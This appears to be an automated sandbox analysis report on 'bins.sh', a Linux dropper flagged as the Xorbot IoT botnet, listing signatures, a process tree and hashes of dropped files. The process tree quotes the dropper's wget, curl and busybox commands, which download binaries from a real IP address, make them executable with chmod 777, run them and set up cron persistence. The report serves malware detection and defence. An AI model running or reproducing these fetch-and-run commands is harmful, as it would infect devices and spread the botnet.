Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 18:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    28b44d48978ad6ce4f2eed068e2680b4

  • SHA1

    36f517d3e46e9e683a46490065c5f2169c47ca6b

  • SHA256

    47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25

  • SHA512

    dee2972f09ac8e1ff184ef0fccb7b4107d55f0324a6907f6af177226a95d48365b48950c06c946c9e6e76f9aa4b9bcbb9fcf185ed4f6844f6b7bfeb341c009a3

  • SSDEEP

    96:h7r7r7p7m7iYx4RrBNFjJUDqRT21WFi6JU1hOY97r7r7p7m7iux4VO:1XXdMfx4RrBNFVYXXdMNWO

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Writes file to tmp directory
          PID:668
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:683
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          ./v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Executes dropped EXE
          PID:693
        • /bin/rm
          rm v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
            PID:695
          • /usr/bin/wget
            wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Writes file to tmp directory
            PID:696
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:697
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Writes file to tmp directory
            PID:702
          • /bin/chmod
            chmod 777 yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • File and Directory Permissions Modification
            PID:706
          • /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            ./yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:708
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:710
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:711
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:712
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:714
                • /bin/rm
                  rm yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
                  2⤵
                    PID:718
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                    2⤵
                      PID:722
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                      2⤵
                        PID:725
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                        2⤵
                        • Writes file to tmp directory
                        PID:726
                      • /bin/chmod
                        chmod 777 rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                        2⤵
                        • File and Directory Permissions Modification
                        PID:735
                      • /tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                        ./rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                        2⤵
                        • Executes dropped EXE
                        PID:736
                      • /bin/rm
                        rm rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
                        2⤵
                          PID:739
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                          2⤵
                            PID:740
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                            2⤵
                              PID:742
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                              2⤵
                              • Writes file to tmp directory
                              PID:744
                            • /bin/chmod
                              chmod 777 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                              2⤵
                              • File and Directory Permissions Modification
                              PID:751
                            • /tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                              ./9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                              2⤵
                              • Executes dropped EXE
                              PID:752
                            • /bin/rm
                              rm 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                              2⤵
                                PID:753
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                2⤵
                                  PID:754
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                  2⤵
                                    PID:756
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:757
                                  • /bin/chmod
                                    chmod 777 JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:780
                                  • /tmp/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                    ./JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                    2⤵
                                    • Executes dropped EXE
                                    PID:781
                                  • /bin/rm
                                    rm JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                                    2⤵
                                      PID:783
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                      2⤵
                                        PID:784
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                        2⤵
                                          PID:786
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:788
                                        • /bin/chmod
                                          chmod 777 axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:796
                                        • /tmp/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                          ./axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                          2⤵
                                          • Executes dropped EXE
                                          PID:797
                                        • /bin/rm
                                          rm axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                                          2⤵
                                            PID:800
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/C0lfBxRYV6kP24a7SP5qs63f0aaAcN36fu
                                            2⤵
                                              PID:801

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /var/spool/cron/crontabs/tmp.6OdsBQ

                                            Filesize

                                            210B

                                            MD5

                                            83e8336c8547b4651185f99efe1ca374

                                            SHA1

                                            ba500680157ebeaea0b121597ce7e49447ba0a4c

                                            SHA256

                                            e783ef16ffaa630414db7fa60fa12eec3ae5efb10c792f21043e0699f30ac495

                                            SHA512

                                            59d5e7fb153253f4173f367a8547973b1a934207f855720b7e479ee7a509ed160881cbb2e9024a307c297f8854ee84f5b8a1b28cbd8bd068505e59e16da7dd08